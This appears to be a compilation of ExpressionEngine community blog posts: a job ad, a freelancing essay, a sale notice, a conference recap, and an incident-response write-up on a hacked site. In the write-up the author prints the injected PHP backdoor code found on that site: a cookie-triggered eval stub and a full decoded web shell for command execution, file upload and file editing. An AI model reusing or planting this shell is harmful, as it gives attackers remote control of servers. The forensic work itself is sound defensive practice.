Masuga Design is looking for a PHP Developer

Friends of EE Insider, Masuga Design, are on the hunt for a PHP developer to fill an open role with their company.

You will develop primarily with ExpressionEngine and Craft for client projects, and with Laravel for internal projects. You’ll work closely with the team to meet client requirements, help improve our SaaS app, and constantly refine our internal projects and procedures.

Previous experience developing with ExpressionEngine and/or Craft is a bonus, because we’d like you to hit the ground running on a number of EE and Craft projects.

Is that you? See the entire job listing.

Solspace on their EE AfterCare Program

Solspace CEO Mitchell Kimbrough writes about their EE AfterCare program:

First, we love the ongoing relationships with our clients. We don’t like to build something, launch it and go away. Some developers like that. They like to have a fresh new challenge every couple of months. We like new challenges too, but what we like much more at Solspace is a relationship. We like that we like our clients. We like that we care about them, their families, their careers, their wellbeing. It makes our lives much more rich. So with this part of our company DNA in mind it made perfect sense to have a formalized maintenance program. In fact, it made great sense to have such a program that even allowed us to inherit the work of other more project oriented developers. That’s why there’s EE Aftercare.

Read the entire blog post.

Dollars, Freedom, and Web Development

Before I started down this professional path when I was 22 I had a fascination with salary jobs. A job that paid me when I was sick and gave me vacation and personal days, with that mythical 401k thing and the other perk “insürancé” (whatever that was), seemed like a worthy goal. In my family, hourly work was the name of the game for everyone so salary jobs were always put on a pedestal alongside, of all things, government work (a future in the DMV could have been mine!). Seeing the pain involved in simply living as a baseline really influenced a salary job to become my goal early.

With only a few exceptions, all through college (and a couple years after) I worked as either a waiter or pizza delivery driver, and sometimes both at the same time just to make ends meet. Like everyone else in similar positions, if I got sick or injured, or went on vacation, or my car broke down and I couldn’t make it in to work, or went home early for an emergency or doctors appointment, I didn’t get paid. It really reinforced my motivation during school to be honest.

The precariousness of this dynamic bothered me a great deal. But, being in college and working towards a better tomorrow, I had confidence it was temporary and that I would eventually gain one of those sweet, sweet, salary positions everyone kept talking about.

But when I did eventually get my first salary job I realized very quickly that what I imagined and the reality were two very different things. Yes, there were vacation days and sick days aplenty. (Well, ok, not “aplenty”, but I got a few of each and that was great at first.) And, yes, if I had a doctors’ appointment or had to go home early for any reason I’d be paid for the whole day.

The rub, of course, is that whether I worked 40 hours or 100 hours I only got paid for 40. And being a web developer, especially at that early level, a 40 hour work week is just rare.

At first, this was an easy thing to accept. Fresh(ish) out of my internship, and feeling like I’m starting to build “something”, I was all about the team and the company and “getting the job done”. Ra ra ra and all that. I recall being very sympathetic about issues requiring sacrifice in order to “save the day” and “do my part” for the team. Essentially, for what amounted to free more often than not.

Now, this may work wonders for other salaried vocations, I have no idea, but programmers, web developers, sysadmins, and designers, we’re all knowledge workers and working like this is straight demoralizing. Our jobs require thinking, planning, strategy, and then implementation and integration. And it’s the planning and strategy parts that really screw one over in this line of work.

Looking back on it, it was the teamwork part that was especially motivating and conflicting to me personally. How could I leave my team to continue working on our common goals, all wrapped in their suffering and pain, while I go off and avoid it? I couldn’t rationalize it.

So working tons and tons of hours became a part of my world. A part of my reality. For years and years this is how I looked at the job of web development and programmer at agencies.

It took me a few years to realize the truth: there are no “our” goals. Hell, there is no “us”. Not really. It’s been my experience that it is the rare company that actually cares for their employees with the same loyalty they demand from their employees. This is just what business is (at least in America).

Now, before anyone calls me cynical; I don’t begrudge that. Not even a little. In fact, embracing that is incredibly liberating. It’s about money. In the end, no matter how much you love your team or what you do or how much is taken personally, having a job is still all about making another dollar for someone else who’ll give you your piece.

Which, in a nutshell, is why I’m a freelancer/contractor/mercenary now. But, I no longer have the safety net of a salary so I have to get creative with billing and income. Since I get asked asked all the time how I can remain independent without being broke I thought I’d go over the “hows” of my income as a contractor.

For my main contract clients, I bill either hourly, which I’ve discussed in the past, or with a retainer, which is fairly new to me but tends to work out nicely (tends to). Then, of course, there’s also the supplemental income from ExpressionEngine add-ons, core customization requests, and, lately, stand alone extensions to my own add-ons.

Frankly, I love hourly. I’d work 168 hours a week if I could get paid for every single one of them. Scope creep, management incompetence, team or hardware failures, complete and total process failure? I couldn’t give a single damn about any of them. I’m being compensated for every minute of my time at a rate I agreed to.

The only real downside to billing hourly is that it automatically shrinks the pool of available clients I have access to. Some clients are just turned off by it, as an institutional rule, so I’m an automatic pass for certain projects. Still, speaking personally, losing out on projects because a client doesn’t pay hourly contractors has yet to hurt me in any meaningful way.

The other method, retainer, is new to me. With few exceptions though it appears to be working out pretty good. The basic idea is simple: a company “retains” my services and is guaranteed XX hours of my time a week/month/whatever for guaranteed YY payment.

For straight up retainers, this works out great. It’s the opposite of a salary position. 100% win for me, with the client taking all the risk and me making my rate for overages while still getting paid when I don’t work. It’s like free profit; I can really see why lawyers are fond of it.

There’s a new trend in retainer deals that’s come up lately though that changes this dynamic a little; retainer hour banking. Essentially, the idea is that hours don’t expire but roll over for later use by the client or contractor depending on the divide. For example, a client pays for 20 hours a week but only uses 10 hours so they have 10 more hours to use at another time. So long as the base retainer continues to be paid the hours stay valid for use.

On the surface, this appears to be a fair agreement. With straight retainers, the client runs the risk of taking a financial loss while the developer has little to no risk at all. Hour banking changes that in a more equitable manner. I really hate the adversarial style of business so if I can work things win/win for me and the client I’m usually all about it.

The big downside to hour banking is the imbalance that quickly develops just from the nature of web development in general. With most projects and tasks I’ve worked on, devs can burn through a retainer term really, really, quickly. Working two sixteen hour days in a row, doing research then design and then implementation, isn’t unheard of in this line of work so, with hour banking, a client can accumulate an unwieldy balance with little effort. Constant diligence has to be had to ensure things are kept in check. Because of that, I’m really not as big a fan of this compared to straight hourly or a normal retainer term.

Then there’s ExpressionEngine add-on development. Add-on development is a bit of a long game, so the income isn’t significant compared to client work just yet, but it does provide a nice cushion of income worth note. Erik Reagan has a great piece outlining the pros and cons of add-on development that’s worth reading, and while I agree with his position from an agency standpoint, for the individual dev I think add-on development is a nice side venture worth undertaking if you’re independent and able.

And not just ExpressionEngine; lots of platforms are extensible and have commercial add-on ecosystems. If you can hold down the rage, developing add-ons for Magento or WordPress are both viable, and supposedly, profitable, options. For those who want a little joy in their lives, I hear Statamic and Craft are the ones to watch.

The most obvious benefit is additional income but I don’t think it’s the most valuable for a contractor. Looking back on over 2 years of add-on development, I have to say the most valuable benefit I’ve gotten is the familiarity with the base platform. I know ExpressionEngine. When it comes to ExpressionEngine contracts, I have a nice advantage in being a known resource. My work is out there and some people even like some of them enough to talk about them to their clients. I’ve found it really helps with winning over the new clients or agencies.

The other side though is customization work. Initially this was specific requests to core aspects of an add-on that were so time consuming, or conflicted existing schedules, that customers would pay for the feature instead of waiting for me to get to it naturally. For example, Backup Pro having Rackspace Cloudfiles support, CT Admin Product reports, and Securit:ee’s Security Scanner feature, were all commissioned core changes from customers. Core changes isn’t significant income, but it’s notable because of the complete return in that the it’s possible to get paid to improve your product. Something about that just feels amazing.

But, after implementing extension hooks into my add-ons last year, most requests are done as stand alone and specific add-ons that sit side by side with the core add-on. I really like doing this type of work. With my normal client work, a big part is writing custom add-ons specific to their site but along with all the other parts of building a site that I generally hate doing, so this allows me to just come in and do just the fun part.

Make no mistake though; this is tons of work (and don’t get me started on the definition of a ton) but well worth it in my experience. If you’re thinking about throwing off the shackles of mainstream work though, and are concerned about how to make ends meet, this is a strategy that’s worked out well for me for a few years now with no end in sight.

If you want to learn more about billing practices and ExpressionEngine, be sure to check out Ryan Battles talk at this years ExpressionEngine Conference in Portland on October 14-15.

Anatomy of a Compromise

It started with a short email.

Hi Eric: I just went to log in and this is what I am seeing.

Plus, after I typed in my user/pass I immediately received the below email:

–email– ExpressionEngine has detected the modification of a core file on: http://www.site.com/

The following files are affected: /var/www/site.com/htdocs/index.php If you made these changes, please accept the modifications on the control panel homepage. If you did not alter these files it may indicate a hacking attempt. Check the files for any suspicious contents (JavaScript or iFrames) and contact ExpressionEngine support: http://expressionengine.com/forums/viewforum/105/

Please review the support policy before posting to the forums: http://expressionengine.com/support/support_policy/

Weird. I’m supposed to be on hiatus from client work for a few months so this must definitely be a real issue if the client’s going to pull me from my slumber.

“Crap.”

Thinking about it I realized that this was for an ExpressionEngine site I built years ago with the client who refused to pay to upgrade. I remember this one. Nice site. Proud site. The one that caused the spark of an idea for CT Admin now that I think about it.

“Ah, things are starting to come together here. Old site. No upgrades. Security warning about a modified file and PHP errors I’ve never seen before in an ExpressionEngine site… I know what to do.”

First Things First

The very first thing I always do whenever I receive an email or note similar to the above. Check. The. Site. Are we still up? Are the users in immediate danger from malicious code injection?

“Ok, let’s see what we have here…”

Looking into the front site showed that it was still up and kicking with no noticeable issue whatsoever. No delays, no missing pages, no random errors. Nothing out of the ordinary.

“Weird. Everything looks aces. Of course, this means nothing.”

Next up, I do a cursory check of the HTML source on the front site. Why? To protect the users from malicious JavaScript ASAP. Are there any scripts, anywhere, that don’t belong? This is where knowing the coding style of your team really comes into play. Speed is important so there’s no time to actually read and understand all the code and what it’s doing. We’re not ready for that investment just yet.

“Does this script look like Caroline wrote it?”

I’ve worked with Caroline for years so I’m very familiar with how she names her variables and objects, how she does closures and function calls, how she indents rather than uses spaces, or that quirky way there’s always that one line that’s indented and has spaces from when she was bug hunting.

“Lame. Nothing here either. Users are cool though so at least there’s that.”

Time To Get Paid

Once I ensure the site’s up and the users aren’t in any immediate danger the next thing I do is look into the files mentioned. First though, many may be asking why I didn’t do that first. It would have made sense; I can’t argue with the logic. The errors really would tell me exactly where something may have gone wrong.

Short answer is experience (I’ve been burned not checking on users). The story so far tells me there’s a likelihood of a compromise or even straight hacking going on but no confirmation one way or the other (bad code is far more likely after all). Besides, the errors and modifications aren’t going anywhere but the site has traffic coming to it in real time. It could be ruinous to a client if the users get compromised just from visiting the site so the users have to be the #1 priority when investigating compromised properties. Once the front site is confirmed safe then, and only then, triage can begin.

But, why not just pull the site then? Take it offline and dig into things in the safety of a controlled environment. Better safe than sorry after all. And if the site showed any signs of JavaScript injection or malicious anything, that’s exactly what I would have done. But with no evidence otherwise, there didn’t seem to be a need for such a drastic, scorch the earth, approach at that point.

So, I check the file mentioned. The config.php file had an immediate error message so I start there (path of least resistance and all).

Opening the file, this is what I see (cleaned up for readability):

$bNo6=${'_REQU'.'EST'}; 
if (!empty($bNo6['jgt'])) {             
    $Jtl = $bNo6['C6u'];            
    $rny=$bNo6['jgt']($Jtl($bNo6['yXc']),$Jtl($bNo6['cvIsv']));
    $rny($Jtl($bNo6['FuVt']));       
}  
if ( ! defined('BASEPATH')) exit('No direct script access allowed');

/*
|--------------------------------------------------------------------------
| ExpressionEngine Config Items
|--------------------------------------------------------------------------
|
| The following items are for use with ExpressionEngine.  The rest of
| the config items are for use with CodeIgniter.
|
*/

Well that’s about as clear cut case of a compromise as I’ve ever seen. Someone definitely got in and is doing something they don’t want to be obvious. But what’s the endgame?

If it’s not obvious, the above code is exceptionally insidious. It allows arbitrary code execution based on the availability of a specific REQUEST variable and it’s values (cookies most likely). What’s so insidious about this is how simple it is to execute code once the initial payload is on the server. Just change the cookie to include available PHP function names and parameters and refresh the page. Simple and effective.

But, again, what’s the endgame?

Before I can even start thinking about answering that question though I need to pull the site immediately. (I find matter-of-fact, tough love, approach to be required in these situations. NEVER make it an option for anyone ever.)

“We’re going offline people. Deal with it.”

Essentially, at this stage, I want to accomplish two things.

One, is protect the client from themselves. Their site is up and, likely, they won’t appreciate being taken offline. I’ve found “I don’t care” is an appropriate attitude when they give grief on this point.

The other reason is I need to get a snapshot of the property for investigation. I need to determine which files were modified, what the purpose for the modification was, when the modification occurred, and how the modification occurred. At this stage, it’s that last question that’s the most crucial for overall peace of mind but also impossible to answer without the other questions being answered first.

So, I pull the site for investigation (essentially, just running tar on the containing directory suffices in keeping time stamps intact) and take it offline from the web (htaccess magic and a static index.html “we’re down for maintenance” page).

I Need My Pipe and Deerstalker Stat!

With the snapshot in hand, now’s the time to dig into the code. At this point I don’t want to hook it up to a vhost for browser execution; not knowing what’s going on with the code could be dangerous. No, right now I just want to read the code and visually scan for issues.

But where to start? ExpressionEngine is a huge codebase with thousands of files. Thankfully, in this situation I’ve confirmed the config file was compromised so that’s where I start. I check the last modified time stamp on the file and see it was last modified on September 6th at 4:35PM. That’s my baseline.

So I do a find on the codebase for all files that were modified within 90 minutes, give or take, of that time. Why the margin for error? Because at this stage I still don’t know the how or who of the compromise. Could be a script kiddie, using automated tools, or it could be an actual person trying to take my client down while personally pecking away on their keyboard in real time. The margin is to account for both possibilities.

Running the command yields 3 files modified around that time:

expressionengine/config/config.php
expressionengine/config/database.php
./index.php

The database.php file had the exact same code injected at the top as the config.php file so there was nothing new gleaned there. But the index.php file was a wealth of insight. Here’s what I found:

if(isset($_COOKIE['ugnnsk']) || isset($HTTP_COOKIE_VARS['ugnnsk'])) { 
$ugnnsk=str_replace('ugnnsk','','ugnnskICBAc2V0X3RpbWVfbGltaXQoMCk7DQogIEBlcnJvcl
ogIEBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7DQogIEBpbmlfc2V0KCd1cGxvYWRfbWF4X2ZpbGVz
aXplJywxMDQ4NTc2MCk7DQogIEBpbmlfc2V0KCdwb3N0X21heF9zaXplJywxMDQ4NTc2MCk7DQogIEB
(snip 1000 lines of base64 encoded code)
3lzdGVtKCRjbWQpOw0KCQkJJHJlcyA9IEBvYl9nZXRfY29udGVudHMoKTsNCgkJCUBvYl9lbmRfY2xlYW4
oKTsNCgkJfQ0KCQllbHNlDQoJCWlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSkNCgkJew0KCQkJQ
G9iX3N0YXJ0KCk7DQoJCQlAcGFzc3RocnUoJGNtZCk7DQoJCQkkcmVzID0gQG9iX2dldF9jb250ZW50cyg
pOw0KCQkJQG9iX2VuZF9jbGVhbigpOw0KCQl9DQoJCWVsc2UNCgkJaWYgKEBpc19yZXNvdXJjZSgkZiA9I
EBwb3BlbigkY21kLCJyIikpKQ0KCQl7DQoJCQkkcmVzID0gIiI7DQoJCQl3aGlsZSghQGZlb2YoJGYpKSB
7ICRyZXMgLj0gQGZyZWFkKCRmLDEwMjQpOyB9DQoJCQlAcGNsb3NlKCRmKTsNCgkJfQ0KCQlyZXR1cm4gJ
HJlczsNCgl9DQo='); 
eval(base64_decode($ugnnsk)); 
exit(); 
} 
/**
 * ExpressionEngine - by EllisLab
 *
 * @package     ExpressionEngine
 * @author      ExpressionEngine Dev Team
 * @copyright   Copyright (c) 2003 - 2011, EllisLab, Inc.
 * @license     http://expressionengine.com/user_guide/license.html
 * @link        http://expressionengine.com
 * @since       Version 2.0
 */

I’ve removed quite a bit of the code for sanity but there it is. The hack payload in all it’s truncated and missing 1000 lines of base64 crud glory, injected into the top of the ExpressionEngine index.php script. So, what’s it doing? What’s the point?

It’s actually pretty clever really. The exploit checks for a cookie, even taking PHP4 into account (which is a HUGE clue for later explanation actually), compiles the base64 string into PHP code and executes something using the eval() function. If the cookie is found that is. For everyone else, every other visitor to the site, they won’t notice anything wrong or out of the ordinary. Had EllisLab not included the core file modification alert into ExpressionEngine’s core we never would have been the wiser until a change order from the client came in. So, thanks for that guys.

But what’s the code that gets executed and compiled? That base64 nonsense. The best way to find that out is to decode it and see what gets outputted. This being base64 it’s incredibly simple using either straight PHP or online tools. After decoding the base64 code this is what I received:

@set_time_limit(0);
@error_reporting(2);
@set_magic_quotes_runtime(0);
@ini_set('upload_max_filesize',10485760);
@ini_set('post_max_size',10485760);
@ini_set('file_uploads', true);
@ini_set('display_errors',true);
@ini_set('register_globals',true);
@ini_set('register_long_arrays',true);
@ini_set('max_execution_time',false);
@ini_set('output_buffering',false);
@ini_set('allow_url_fopen',true);
$safemode=@ini_get('safe_mode');

$magic_quotes=1;
if (function_exists('get_magic_quotes_gpc')) $magic_quotes=get_magic_quotes_gpc();

$phpver = str_replace('.','',phpversion());
if (strlen($phpver)<3) while (strlen($phpver)<3) $phpver.='0';
if(intval($phpver) < 410){
$_POST=&$HTTP_POST_VARS;
$_GET=&$HTTP_GET_VARS;
$_SERVER=&$HTTP_SERVER_VARS;
$_COOKIE=&$HTTP_COOKIE_VARS;
$_FILES=&$HTTP_POST_FILES;
}
@ob_end_clean();

$pw_pls="<form method=post><input type=text name=pw></form>";

if (empty($_POST['pw'])) exit($pw_pls);
if (!empty($_POST['pw']) && md5($_POST['pw'])!='79a248de1b0101cbfb4d1a7a60f6d4a5') 
    exit($pw_pls);

$pw="<input type=hidden name=pw value='".htmlspecialchars($_POST['pw'])."'>";

if (!empty($_POST['usemodule'])) include($_POST['usemodule']);

$work_dir = getcwd();
if (strpos($work_dir,"\\")!==false) $work_dir=str_replace("\\","/",$work_dir);
if (strpos(substr($work_dir,0,5),":")!==false) $os="win";
else $os="nix";
if (!empty($_POST['cd'])) $cd=stripslashes($_POST['cd']);
else $cd = $work_dir;

if (is_dir($cd)) chdir($cd);

$run=($magic_quotes)?stripslashes($_POST['run']):$_POST['run'];
$edit=stripslashes($_POST['edit']);
if (!@is_file($edit)) $edit=$cd;

if (!empty($_POST['eval'])) 
    eval(($magic_quotes)?stripslashes($_POST['eval']):$_POST['eval']);

if (!empty($_FILES['userfile']['tmp_name']) 
        && is_uploaded_file($_FILES['userfile']['tmp_name'])) {
    $uploaddir = ereg_replace('/+', '/', $cd."/");
    $uploadfile = $uploaddir.basename($_FILES['userfile']['name']);
    move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile);
}

if (isset($_POST['save'])) {
if ($magic_quotes) $console = stripslashes($_POST['console']);
else $console = $_POST['console'];
$time = filemtime($edit);
$f=@fopen($edit,"w");
if ($f) {
fwrite($f,$console);
fclose($f);
touch($edit,$time);
$edit=$cd;
}
}

if (!empty($edit) && file_exists($edit) && is_file($edit) && $edit!==$cd) {
if ($os=='win'?can_write($edit):is_writable($edit)) $need_save_button=true;
$f=@fopen($edit,"r");
if ($f) {
if (filesize($edit)>0) $retval = @fread($f,filesize($edit));
else $retval = "[empty]";
fclose($f);
} else {
$retval = "Can't open file: $edit\n";
}
} elseif (!empty($run)) {
$cmd = $run;
$retval = magic_execute($cmd);
} elseif (file_exists($cd) && @is_dir($cd)) {

if (!$safemode)
{
    if ($os=='win')
    {

      $cmd = "dir ".str_replace("/","\\",$cd);
      $retval = magic_execute($cmd);
    }
    else
    {
      $cmd = "ls -la \"$cd\"";
      $retval = magic_execute($cmd);
    }
}

if (empty($retval))
{
    $dir=$cd;
    if($curdir = @opendir($dir)) {
    while($file = readdir($curdir)) {
      if($file != '.' && $file != '..') {
        $srcfile = $dir . '/' . $file;
        if(is_file($srcfile)) {
            if ($os=='win'?can_write($srcfile):is_writable($srcfile)) 
                $retval .= "++ ".$file."\n";
            else $retval .= "-- ".$file."\n";
        } elseif(is_dir($srcfile)) {
            if ($os=='win'?can_write($srcfile):is_writable($srcfile)) 
                $retval .= "d+ ".$file."\n";
            else $retval .= "d- ".$file."\n";
        }
      }
    }
    closedir($curdir);
    } else $retval = "Cant open directory\n";
}


}

$id_exec = "cant get uid,gid";

if ($tmp = magic_execute("id")) $id_exec = $tmp;
elseif (function_exists('posix_getgid'))
{
    $uids  = @posix_getlogin();
    $euids = @posix_getlogin();
    $uid   = @posix_getuid();
    $euid  = @posix_geteuid();
    $gid   = @posix_getgid();
    if (!empty($uid)) $id_exec = "User: uid=$uids($uid) euid=$euid($euid) gid=$gid($gid)";
}

//HTML FORM REMOVED FOR SANITY

exit();


function can_write($file) {
    if(file_exists($file)){
        if (is_file($file)) {
            $f=@fopen($file,"a+");
            if($f){
                fclose($f);return true;
            }
        }elseif (is_dir($file)) {
            if ($file[strlen($file)-1]!='/') 
                $file.='/';$tfile = $file."testxxxtest";

            if (@touch($tfile)){
                unlink($tfile);
                return true;
            }
        }
    }
    return false;
}

function magic_execute($cmd)
{
    $res=false;
    if (function_exists('exec'))
    {
        @exec($cmd,$res);
        $res = join("\n",$res);
    }
    else
    if (function_exists('shell_exec'))
        $res = @shell_exec($cmd);
    else
    if (function_exists('system'))
    {
        @ob_start();
        @system($cmd);
        $res = @ob_get_contents();
        @ob_end_clean();
    }
    else
    if(function_exists('passthru'))
    {
        @ob_start();
        @passthru($cmd);
        $res = @ob_get_contents();
        @ob_end_clean();
    }
    else
    if (@is_resource($f = @popen($cmd,"r")))
    {
        $res = "";
        while(!@feof($f)) { $res .= @fread($f,1024); }
        @pclose($f);
    }
    return $res;
}

Excellent! A backdoor to the server! An old one too; I’ve seen this before actually. Years and years and years ago. Lame. This is, clearly, not as interesting as I had thought.

So, the exploit as it stands at this point is on 2 vectors: the arbitrary code execution in config.php and database.php and the base64’d backdoor script found in index.php that gets passed to eval(). The backdoor is basically a simple form, which also allows code execution, but a whole lot more too. You can upload files, modify files, do all sorts of evil if you’re so inclined.

Ssshhh… Just Let the Eyes Glaze Over…

Now that we know the “what” we need to determine the “how”. How did this evil get onto the server in the first place. We will not go live until we know the initial hole is plugged or else we run the very likely risk of repeating things. So no rest yet.

This being an old install of ExpressionEngine my initial instinct was to look at EE itself. Thus, I need to hit up the Apache logs and find out what happened, and from where, around the time of the config.php file changes (September 6th at 4:35PM). This is where the tedious pain starts.

This was a fairly popular site so the logs were simply enormous. Even gzipped the logs came in at 30MB which meant they were 600MB raw. And I had to go through them line by line looking for anything that stood out as a problem. Which obviously begs the question: what’s a problem?

When it comes to Apache log investigation, POST requests are the likely clue that points to a problem. Yes, GET requests can be a problem too, but when doing the initial investigation I find focusing on POST requests cuts down on the pain considerably since pretty much everything that would allow compromise would be done through a form (POST request). Save the GET requests as a last resort if nothing else can be found.

I also pay attention to the IP addresses for the requests. I don’t have them memorized or anything like that but when scanning a log file I run traces on the IPs I find and try to discern any weirdness among them. For example, a restaurant site based in California getting tons of Control Panel POST requests from China would be suspicious and worth investigating. Conversely, finding the known authorized IP addresses is just as important to remove any false positives.

Make no mistake, this is grueling and time consuming work. It can feel like it’s going on forever and there’s no end in sight. It really depends on the amount of logs to pour through and how many requests there are. It hurts. A lot.

Eventually though, guaranteed, the fog will lift and patterns will start to emerge. In my case, when the fog did lift, the evidence was troubling. I could find zero evidence that ExpressionEngine was at fault or even a little bit to blame. Nothing. Instead, what I saw was that requests for our time range, checking both POST and GET requests, were all authentic with nothing at all suspicious outside of the time they occurred.

Worse, I could find no evidence of any requests to the compromised functionality. It turns out the backdoor was either never used or, if it was, the person responsible did one hell of a clean up job (something that would require a skill set and attention to detail that has been lacking from all evidence till now).

Not that I wanted ExpressionEngine to be the hole. But if it was, plugging it would have been trivial. Upgrade EE, turn the site back on, and go hit happy hour. Not now though. Now it has to be kicked up a couple levels to other people and departments with additional care taken all over the place.

The Grimm Ending

Knowing ExpressionEngine wasn’t the entry point meant restoring the site from Git was on the table. Easy enough really. Unfortunately, not having a resolution calls the entire infrastructure the site lived on into question. We can’t host on that server anymore. Moving the site to a new server and vhost LAMP package got the client back up and running with little pain (in the move) and left us with confidence that the exploit wouldn’t return. For good measure, we’re trying to convince the client to upgrade their ExpressionEngine.

Still, how’d the exploit get in? Who, or what, was responsible? These are big questions that’ll take some time to figure out 100%. But that’s the nature of the beast. Sometimes it’s easy and others it’s just a waiting game requiring patience.

I do feel confident saying that this wasn’t a targeted attack. It has all the feelings of a script kiddie, or at the least, an automated attack with no sense of pride or craftsmanship to it.

First, there’s the backdoor script. Very old school. It takes into account PHP 3 and is clearly copy/pasted from elsewhere. Even doing a search on the md5 string 79a248de1b0101cbfb4d1a7a60f6d4a5 found in the code turns up a StackOverflow question from over a year ago with the exact script.

Second, there is no evidence the backdoor has ever been accessed. At no point, before or after the exploit was put in place, do the logs show any activity. And if the hacker was savvy enough to remove their tracks, why use such a shoddy script for shell access in the first place? Creating something custom would be fairly trivial for those in the know while using the script used must be painful. Regardless, if it was a person sitting in front of a keyboard, they’d at the least verify they were successful in the exploit.

Third, and this is most troubling, the only access to the site that has anything even remotely suspicious looking during the time line came from the client’s network (IP address range). The implications of this are pretty scary; it’s entirely possible their network, or at the least a computer on their network, has a virus which compromised their site. Totally guessing, but that’s where my instincts take me once I consider the log data.

The other scenario, of course, is a breach of the server the site was living on. I don’t give that much credence though, mostly because of the style of exploit implemented. Again, if one has the savvy to execute a system level attack, why bother with placing the exploit in ExpressionEngine at all? But the only way to really know this 100% is to have the sysadmins do their magic and look over all the system logs.

But this is how most compromised site investigations run in my experience. Sometimes you have an answer extremely early in the process (aha! WORDPRESS!!) and other times you have to wait a good while before you know what’s going on. The important thing is to stay on top of it until you have a complete and total answer. Don’t half ass this.

Come see me talk more about security at upcoming ExpressionEngine Conference in Portland on October 14th & 15th.

Back to School Sale at Mijingo

In many places around the world it’s that time of year when you change gears from summer fun to back to school and learning. Even if you aren’t in school yourself or have kids that are, you probably know the feeling that the end of summer brings: time to get serious again about everything you want to accomplish this year.

Mijingo is packed with stuff for web designers and developers just like you. Use the coupon BACKTOSCHOOL when you check out, you will get 20% off your purchase.

This special coupon code is only good until Friday August 30th 2013. Load up on some courses right now.

A recommended course for everyone: Low’s Building an ExpressionEngine Add-on.

ExpressionEngine Add-on Developer of the Year Lodewijk Schutte teaches you how he develops his award-winning plugins, modules and extensions. In more than one hour of video, Low walks you step-by-step through his add-on development process.

It’s a wonderful way to learn add-on development from someone who makes his living from add-on development.

The sale is only until Friday, so don’t procrastinate!

Revisiting Peers Conference 2013

Eric Lamb is the developer of professional and enterprise grade ExpressionEngine add-ons. Founded in 2009 Eric’s company mithra62 aims to be a leader in ExpressionEngine add-on development and has a reputation for stability, usefulness, and being highly configurable. Check out Eric’s popular ExpressionEngine add-on Backup Pro.

I just got back from the first, of what I truly hope will be many, Peers Conference in Chicago a couple days ago and my head is still swimming with all the awesome I absorbed. While everything’s still fresh in my head I wanted to put together a breakdown of my trip, as not only a presenter, but also a huge fan of conferences in general (regardless of my role in them).

If you’re not familiar, Peers Conference isn’t a platform specific conference like the ExpressionEngine Conference or WordCamp; Peers Conference is much more diverse and comprehensive to the web developer at large. It’s put on by the extremely talented and charismatic Jessica D’Amico and it lived up to its name in every sense. Peers felt like the entire conference was full of people I either greatly respect and/or admire who were completely open to sharing their knowledge and experiences.

Peers Conference was held at the Chicago Cultural Center in downtown Chicago from June 26-28. This is one of the most beautiful venues I’ve ever attended a conference at much less visited as a presenter. Words really can’t do it justice; I strongly urge everyone who’s unfamiliar to spend a couple minutes and just click through those 2 links above and absorb the scenery. Simply gorgeous.

After some initial bumps getting into Chicago I checked into my hotel and immediately hoofed it to the speakers dinner (an hour late), held at a really tasty Mexican restaurant called Zocolo. It was exactly what I needed. Good food, wonderful and strong margaritas, and lively conversation among friends. The perfect way to start unwinding from the reality of daily life and into the conference mindset.

Wednesday

The first day of Peers were the workshops. These were essentially classroom style settings where all us attendees heard lectures on the ins and outs of the elegant PHP library Laravel from the creator Taylor Otwell and the new CMS, Craft, from Pixel & Tonic.

As a PHP developer, the Laravel workshop was something I was really looking forward to. I’ve long had a fascination with Laravel but just haven’t had the time to dig into at the level needed to own it as a resource so hearing the gospel straight from Taylor’s mouth was amazing. My head is still running wild with the possibilities this amazing framework offers. Things like unit testing, closures, and other advanced PHP functionality coming back into my life, after a couples years stuck in PHP limbo with CodeIgniter development, has me plain excited. It really is an elegant framework.

The other workshop, “Build a website with Craft”, was put on by Brandon Kelly (with some impressive tech support from Brad Bell) of Pixel & Tonic where he walked everyone through the process of setting up a website with their new content management system Craft. Brandon’s a really good teacher, had assignments and everything, and it was quite easy to follow along and see the beauty in Craft. It’s easy to see that creating sites with Craft is going to be a treat for us and our clients.

After the first days workshops Jess had an amazing treat for everyone; a catered party to an old school video arcade with an open bar called Emporium Arcade Bar (Best. Name. Ever). More though, to ensure the safety of everyone (because drinking and a new city can be a real problem) she worked out a deal with Uber to provide transportation to and from the event. She even added a cherry on top with a sweet idea of having each car setup with a presenter so the attendees and speakers can get to know each other. Very classy in my opinion (though, I was more impressed with my passengers than the other way around).

Thursday

The second day was when the various tracks, “Developer” and “Business”, started. This is a trend I’m really happy to see become adopted in conferences more and more. The basic crux is that there are more options available to attendees by having a variety of topics running concurrently. So, if you don’t want to hear about X you can always go watch Y or, sometimes, even Z. Really, the only downside is when multiple talks are interesting but scheduled at the same time and you have to make a choice. Peers had that awesome problem.

For example, right off there were 2 talks from 2 amazing speakers. Taylor Otwell was back, talking about Laravel for the CodeIgniter developer, and Chris Newton (from CartThrob) talking about shaking things up for your company.

Since I was there for Taylor’s workshop the day before I had to make the tough call and go watch my buddy Chris drop some knowledge. I’ve seen Chris do a couple presentations and they’re always entertaining and fun and this time was no different. Very funny and full of insights on how to get momentum back in your company when things start going wrong.

After Chris’s presentation I decided to watch Anna Brown talk about her trials dealing with some insane performance issues with a HUGE ExpressionEngine site instead of Alan Branch’s talk titled “Allocating Your Time for More Revenue”. I heard from those that went to Alan’s talk that it was really good but Anna’s talk is right in my wheel house, being about performance and hardware, so I had to check that one out.

This site’s just plain crazy. Tons of complicated data sets stored in an ExpressionEngine site and a client who just wouldn’t let up on the edge cases and WTF scenarios. Frankly, it’s a wonder she’s still sane. She’s clearly a resource to utilize if you have ExpressionEngine issues. Also, EngineHosting appears to be just bad ass at hosting these types of sites and keeping them up.

The Statamic workshop came after Anna’s talk. This was just like the other workshops in format (devs show how to use their tool) though obviously about the CMS Statamic and given by those developers. (BTW, how cool is it that every workshop at Peers was given by the developers?)

Unfortunately, I had some weird biases against Statamic (that I’ve since learned weren’t accurate) so I didn’t attend. I did get to talk shop with both Fred and Jack (name dropping!) afterwards though and can’t wait to dive into it in the next couple weeks.

The last event of the day was the “Roundtable Discussions & Peer Review”. This was essentially an event where attendees could work 1 on 1 with another developer and talk about anything. Seriously. ANYTHING. It had started out as a pretty formal “schedule a time” style thing but ended up being much more informal and social (though still focused on problem solving tech issues). I think with a little more announcement this could be a real treat at the next Peers Conference. Still, lots of fun even listening to others problems and solutions.

Friday

Whoooo! Blackhawks!!! Whoooooo!!!1! Hockey Rulze!!!! Whooooo!!

That was Friday morning in Chicago. Not. Bad.

